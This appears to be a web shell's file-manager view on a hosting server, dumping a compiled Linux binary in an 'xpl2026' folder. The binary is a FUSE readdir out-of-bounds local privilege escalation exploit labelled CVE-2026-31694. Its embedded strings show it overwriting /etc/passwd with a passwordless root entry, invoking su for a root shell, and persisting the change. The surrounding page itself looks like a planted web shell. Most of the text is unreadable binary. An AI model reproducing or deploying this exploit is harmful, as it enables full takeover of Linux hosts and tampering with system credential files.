HEX
Server: LiteSpeed
System: Linux standart103.isimtescil.net 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: byildiz (11197)
PHP: 8.2.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/byildiz.com.tr/httpdocs/xpl2026/fuse-oob-static
ELF>�3@s@8
@@@@����   �!�!PPP

(\(l(l�8U8\8l8l��88800hhhDDS�td88800P�td�V�V�V��Q�tdR�td(\(l(l��/lib64/ld-linux-x86-64.so.2 GNU���GNUƿ��տ0��G����z/�GGNU8�8:(��e�m9��l5�[ !�������8�x��FXP�q�w a���{�tG+����O�'� �?U��� pb"[@pfgetswritevputsperror__stack_chk_fail__printf_chksetbufstrdupsched_setaffinityclosedirsocketpairputcharmunmapfflushfopen__isoc23_sscanfsystemforkmkdtemppthread_joinrmdirusleep__isoc23_strtolpthread_cond_signalpthread_createstdoutpthread_mutex_lockposix_fadvise_exit__fprintf_chk__libc_start_mainrecvmsgpreadexeclstderr__cxa_finalizeputenvstrchrgetgidreaddirfclosememsetwaitpidpthread_mutex_unlockopendir__snprintf_chkgetuidfwritestrcmp__errno_locationmmappthread_cond_waitlibc.so.6GLIBC_2.4GLIBC_2.3.2GLIBC_2.38GLIBC_2.34GLIBC_2.2.5GLIBC_2.3.4_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable
ii
ri	!���-���8ui	Cti	O(l�40lp4pp�o�o�o�o1�o9 p8@p:@nHnPnXn`nhnpn	xn
�n�n�n
�n�n�n�n�n�n�n�n�n�n�n�n�noooo o (o!0o"8o#@o$Ho%Po&Xo'`o(ho)po*xo+�o,�o-�o.�o/�o0�o2�o3�o4�o5�o6�o7��H��H��OH��t��H����5
N�%N@��h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h	�R���f���h
�B���f���h�2���f���h�"���f���h
����f���h����f���h��f���h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h�R���f���h�B���f���h�2���f���h�"���f���h����f���h����f���h��f���h ���f���h!����f���h"����f���h#���f���h$���f���h%���f���h&���f���h'�r���f���h(�b���f���h)�R���f���h*�B���f���h+�2���f���h,�"���f���h-����f���h.����f���h/��f���h0���f���h1����f���h2����f����%�LfD���%�JfD���%�JfD���%�JfD���%�JfD���%�JfD���%�JfD���%�JfD���%�JfD���%�JfD���%~JfD���%vJfD���%nJfD���%fJfD���%^JfD���%VJfD���%NJfD���%FJfD���%>JfD���%6JfD���%.JfD���%&JfD���%JfD���%JfD���%JfD���%JfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%�IfD���%~IfD���%vIfD���%nIfD���%fIfD���%^IfD���%VIfD���%NIfD���%FIfD���%>IfD���%6IfDPXP�X�������H�=�,�B����3H�=,-����H�=-����H�=I-���H�=-���H�=2.������AWAVAUATUSL��$���H��H�$L9�u�H��dH�%(H��$�d1������$A��H���A�2fDHc�H�5C,L�t�L�,�L��������AA�>-�>A�~n�3A�~�(��D9��5H�=^H1�L��$�����H�=hH1��q���1��L��H��$���H�|$�H�1�HDŽ$����H�5�+H�=�+H�D$P����I��H��tOH��$�$H��+�!f.�1�H�T$PH��H���N�����tL��H���i���H��u�L���l���H�L$PH��~$H�Ⱦ
H�H��H��
H��������c���H��H���D���H�=lGHH�H�a'�1�H��
�A���H�=z'�����W���1�H�5�'����H�=�*�+���H��H�!��L���H�������1�L����������j��������Å�������	��$�L�l$@H��$�$�	���H�D$;f�1�H�D$@��$�H�D$PH��L�l$`HDŽ$�H�D$HH�D$hH�l$pH�D$xH�D$ )D$P���H�����H�|$x�4H�D$pH���&�x��@��$���E�h���H�D$<��1�H��H�D$(����\$<�����H���H�5�)�1��H����$����1�H�D1�L���:���������H�=�+�$�$,E����1��,L�-�)L�=�)L�5�)�$�FD��f�f�ɿ�*��Y$�ى��*�L����^�������|���D9�tC��D��L����1����H�=�D�4�������u�L��������9���D9�u��$��f�f�ɉ�D���*ÿ��A*�H�5�(�Y��^������
������H��$�ddH+%(�zH�ĸd��[]A\A]A^A_Ð�$��A9�����������J�|-�
1����,���A��A9��X������=������.����H�
D�*�H�=y$������N���1�H�=�'1��z���A���1�H�F1�L���<�����1�E1����H�=(L�-(�*���H�=�)L�=�'�
�.DA���1�D��H�5�'�����������tE���L����1����H�=C�b����
��u�L��������g�����u�f�D���A*�H�5~'�Yu)��^p)�K���E����H�=�'�V���H�=�(�:	1��H���1�H�=�&�@��������
H�����H��t�H��H�5?'�1�����H�l$�,$L�=<�@�����1���H�5'���H�=B�_���H�|$1�L�������H�1�HDŽ$��^����$1�L���/���L���Hc�H��Hi�	��H�� ��)Ӊ��)�)�Lc�L��N��� ��Hc�I�D$�H��ܘ H�L$H�����H��H��H�����L�����L���������|���H�|$ H�`1�H�
O�����L���z����x���uL��H�=Ƒ��_���t�L���/���1�H�=	%1�����$���t�<$�1�1��c���H�|$��$���H�t$(�<$1ɺHDŽܘ ����L�����L��H�\$PJDŽ� ����H�=�����(���L�����H��1��f���H�\$�<$1�f�OH��)�$�$)�$�$)�$�$)�$�$)�$�$��H�root::0:H9tn��<$�W�L�����tuH�=5$��'�5�������������H�5#�1��1���������L���(�H�L$1�H�0:0:x:.:H9A�w����w���H�=�$H�l$��H�={$��H�=�O�?�
H�=�O�z�H��t]L�H�@H��1�L� ��@�Q�H�5O$H�=9$A����I��H��tH��Ic�H������L����H�=� �l�H�=� ���
��1�� H���1�H�=�"�L�A����
H�����H��t�H�=5!��H��1�H�5�#���H�=C!���H�=_!����=E1�1�L��#H�
�#H��#H�5�#H�=|#�@�H�=x#�4��s���1ɺOH��������G��\���1ɺH�����D���)��3���H�
N��?��H���N�D��H��M��H��MH������H�5�"H�=�!��8�I��H��tH��MH��H����I�L����H��MH�5�1����s���H�=�!����!�8���1�A�2�4$��H�=
�0��#�������$�H��$�$�B� H��1�D��$��� L�� ��H��H�� �{�H�-č1�1�H��H�=� H����H�=m 1�1�H��H����H������.�f.����1�I��^H��H���PTE1�1�H�=��;�f.�H�=<H�
<H9�tH��;H��t	�����H�=�;H�5�;H)�H��H��?H��H�H�tH��;H��t��fD�����=�;u+UH�=r;H��tH�=v;����d�����;]������w����ATI��UH��$SH�� �f�H��H9�t(H�;H�G�H���w�H����H�C�H9�u�A��$ ��~,1ېI�<�H��t��]�I��H��A9�$ �ADŽ$ []A\�fDATLc%�UH��SLJ E��~^1��$��H�D����H���� L9�t6E1�A������"�1����|�H�D�H���u�Hc�H�D�1�E1�A������"�1����A�H��� H���t�H��H���u�[]A\�ff.�@SH��L�
�dH�%(H��$1�M��t>H��H����AQL���H�����H�����H�=�~�H��H��$dH+%(u	H��[��j�f.�H�5�9H��1��H��H��fo��H�H����H��)g9H�p9H�AAAAAAAA�H��AA�AAAAf�UI�PIAfo
)
/IH�B�;I
H�,I�ff.����U�SH���/dH�%(H��$�1�H�T$H��H�$H��H��H��$��H�1���H���1�UL�
���H��L�����H���(�ZYH�����H��H���b�H����H��$�dH+%(uH�Ę1�[]���fDAUATUSH��H�$H��H�$H��(H�ԈH��dH�%(H��$$1��߈��H���	�������H�����H�|$1�H�
����H������҇��uH�-#�H��H���������t�H��H�l$�~�H�T$1��H�׾�H���H�1�H�D$���$1�H���e�H���=���Hc�H��Hi�	����H�� ��)ȉ���)���)�Lc�I��H�J�T�L��� H�B�H���w
I�E�H���viH���9���H��H�l$���H�=��ۆ�F�H��1���1�H����H��$$dH+%(��H��($��[]A\A]�I�}L��H�VVVVVVVVH��I�EH)�I��������H�H���l�H��J�D�L�d$�F�H�=_��5���H����1�L�����H�DEADBEEFI3EH�_OOB_WRII3UH	�t�H����-����&����H�ITE_HIT!1�I9Eu����g����AUATUSL��$��H��H�$L9�u�H��H�-�dH�%(H��$1�H��$�=�4�H����H��x��$wR��$HcD�H�>���K����t��	u�H��$dH+%(�,H��1�[]A\A]��H����H�D$H��$�=s4�H��$�HDŽ$�H�D$H�D$H��$�HDŽ$�HDŽ$�����"���fDH��$0�H�D$�fDH��f�=�3H��$��$��H��$�H��$�$�H�D$H�D$�$�fo(H��$�H��$�HDŽ$�HDŽ$��H�D$`HDŽ$�H��$�HDŽ$�P)�$����A���Df�H��$H�D$p)D$f�H�D$ )D$0)D$@)D$P)D$`H���oH��c�e���1ҸH�T$(�L$\�D$`���D$d���=�2H��$���D$hH��$�D$pH�D$H��H��$�H�D$H�$xHDŽ$�H��$�HDŽ$�h���\�����$(trig���D�%C2���Hcl�f�H�D$0L�l$D$hH��dD$xH�D$H�D$8H��)D$ D$HD$XH�D$HDŽ$�H�D$@H�D$t����D$|���H��$�D����$�H��$DŽ$�H�D$H��H�$�H��$�HDŽ$�L��$�HDŽ$�����S��������=D1�H��$�H�D$H�D$ HDŽ$�H�H�$H��$HDŽ$�H�D$H�D$H��$�H��H��$�������H�af�=�0��$�H��$��H��$�H�6�$�H��$�H��$HDŽ$�H�D$H�D$H��$�H��$�DŽ$�f��$�H�D$PHDŽ$�H��$�HDŽ$�@�$�������f.�L�%	�L�-��L���Z�H�=���M����>���uf.�L��L��������t���L��������=�/�H��$H��$�H�D$(H�D$H�D$H��$�H��/HDŽ$�H��$�HDŽ$�����$����H��$��D��H�����H�D$H��$HDŽ$�H�D$H�D$H��$�HDŽ$�HDŽ$��n����f�1���$+gdir�N����N������A���������H��H���fusermount3 -u %s 2>/dev/null; umount -l %s 2>/dev/null[drain] MemFree=%ldMB -> drain=%d blocks
=== FUSE readdir OOB - CVE-2026-31694 ====== drain %dMB + pool %d ===

[-] fuse mount failed (need fusermount3?)
[+] /etc/passwd backed up (%zd bytes)
root::0:0:root:/root:/bin/sh
%stail -n +2 /tmp/.passwd_backup > /tmp/.passwd_tail && echo 'root::0:0:root:/root:/bin/sh' > /tmp/.passwd_new && cat /tmp/.passwd_tail >> /tmp/.passwd_new && rm -f /tmp/.passwd_tail[+] Persisting + dropping caches as root...echo '' | su -s /bin/sh -c 'cp /tmp/.passwd_new /etc/passwd && chmod 644 /etc/passwd && rm -f /tmp/.passwd_new /tmp/.passwd_backup && echo 3 > /proc/sys/vm/drop_caches && echo [+] done' root 2>/dev/null========================================[+] su -s /bin/sh root (empty password)========================================

[-] Failed after %d attempts
%s/trigdir_%dopendirtrigdir--poc/proc/meminfoMemFree: %ld kB/tmp/fuse_oob_XXXXXXmkdtempsocketpairfork_FUSE_COMMFD=%d/usr/bin/fusermount3recvmsg[+] FUSE at %s
/etc/passwd/tmp/.passwd_backup[%3d/%d] HIT (%d/%d=%.0f%%)
miss
=== %d/%d (%.1f%%) ===
--- Warmup ---
[*] W%d/%d ... HIT (%d)

[+] Warmup: %d/%d (%.0f%%)
[-] No warmup hits.
--- LPE ---
[+] before: %s

[*] LPE %d/%d ... open passwdroot::0:0:x:.:HIT!
[+] Page cache corrupted/tmp/.passwd_new[+] /etc/passwd: %s
/bin/sh-s/bin/suecho '' | su -s /bin/sh root����L����������������������������P�?�������������?����0�?�DEADBEEF_OOB_WRITE_HIT!root::0:0:x:.:
#######����'�A�Y@@;�H��������������������(����������,���XX�������x��H���dzRx�P��&D$4���@FJw�?9*3$"\���t���0����AAA(�����B�D�H ��AB(�(���B�H�D ��AB,����A�G�f�L�k�Z
AA0,���8D����E�F�G�F�H�i�A�v
CAA�������D�$���B�B�A �A(�G� L�@L�H�
(C ABBDD�|��F�B�A �A(�H��Q
G���
(C ABBIT(t���F�B�B �B(�A0�A8�H��Q
G���
8C0A(B BBBB ����<���������4p4
 
�A(l0l���o�h	�
�(n��
��	���o���o����o�o���o8l0 @ P ` p � � � � � � � � !! !0!@!P!`!p!�!�!�!�!�!�!�!�!"" "0"@"P"`"p"�"�"�"�"�"�"�"�"## #0#@#P#p����GCC: (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0�	� ��&"�4�,`5�7X�E06�MP�X�6�e`ppP7���&� 8�� �(�H���������0���0��:��p�@V`Vx���@,�&<6�A4C04Vp4lHpx0l��4�(l6��Z��8l��V�(n
%9Vs � pv p�����p�+?Q�AWr������
/Aatp�� �p��P��9L`�z�3&Q p]q��'�������	.p:T n���"� ���@pScrt1.o__abi_tagfuse_oob.cdiefree_poolalloc_pooldrain_nblockscleanupmountpointbuild_direntdirent_buftrigger_readdirtrigger_readdir.coldattempt_pocmtxattempt_numreaddir_arrivedreaddir_respondcond_arrivedcond_respondfuse_loopfuse_fdMARKERPAYLOADpasswd_backup_lenpasswd_backupmain.coldcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___snprintf_chk@GLIBC_2.3.4putchar@GLIBC_2.2.5__libc_start_main@GLIBC_2.34__errno_location@GLIBC_2.2.5_ITM_deregisterTMCloneTablestdout@GLIBC_2.2.5_exit@GLIBC_2.2.5__isoc23_sscanf@GLIBC_2.38writev@GLIBC_2.2.5puts@GLIBC_2.2.5_edatapthread_cond_wait@GLIBC_2.3.2fclose@GLIBC_2.2.5opendir@GLIBC_2.2.5rmdir@GLIBC_2.2.5_fini__stack_chk_fail@GLIBC_2.4getuid@GLIBC_2.2.5mmap@GLIBC_2.2.5setbuf@GLIBC_2.2.5system@GLIBC_2.2.5strchr@GLIBC_2.2.5memset@GLIBC_2.2.5sched_setaffinity@GLIBC_2.3.4closedir@GLIBC_2.2.5posix_fadvise@GLIBC_2.2.5fgets@GLIBC_2.2.5pthread_cond_signal@GLIBC_2.3.2putenv@GLIBC_2.2.5__data_startstrcmp@GLIBC_2.2.5__gmon_start____dso_handlesocketpair@GLIBC_2.2.5_IO_stdin_used__isoc23_strtol@GLIBC_2.38getgid@GLIBC_2.2.5readdir@GLIBC_2.2.5pthread_mutex_unlock@GLIBC_2.2.5fflush@GLIBC_2.2.5_end__bss_startmkdtemp@GLIBC_2.2.5munmap@GLIBC_2.2.5recvmsg@GLIBC_2.2.5main__printf_chk@GLIBC_2.3.4pthread_create@GLIBC_2.34waitpid@GLIBC_2.2.5fopen@GLIBC_2.2.5perror@GLIBC_2.2.5pread@GLIBC_2.2.5fwrite@GLIBC_2.2.5__TMC_END____fprintf_chk@GLIBC_2.3.4_ITM_registerTMCloneTablepthread_join@GLIBC_2.34strdup@GLIBC_2.2.5execl@GLIBC_2.2.5__cxa_finalize@GLIBC_2.2.5_initfork@GLIBC_2.2.5pthread_mutex_lock@GLIBC_2.2.5usleep@GLIBC_2.2.5stderr@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment#8806hh$I�� W���o��0a���ih	h	�q���ov~���o��p�����B�
�
��  �    @�`#`#�p#p#0��&�&���A�A
�PP���V�V��`W`W��(l(\�0l0\�8l8\��(n(^�p` p`@Q 0`-H`�
*	�j"�q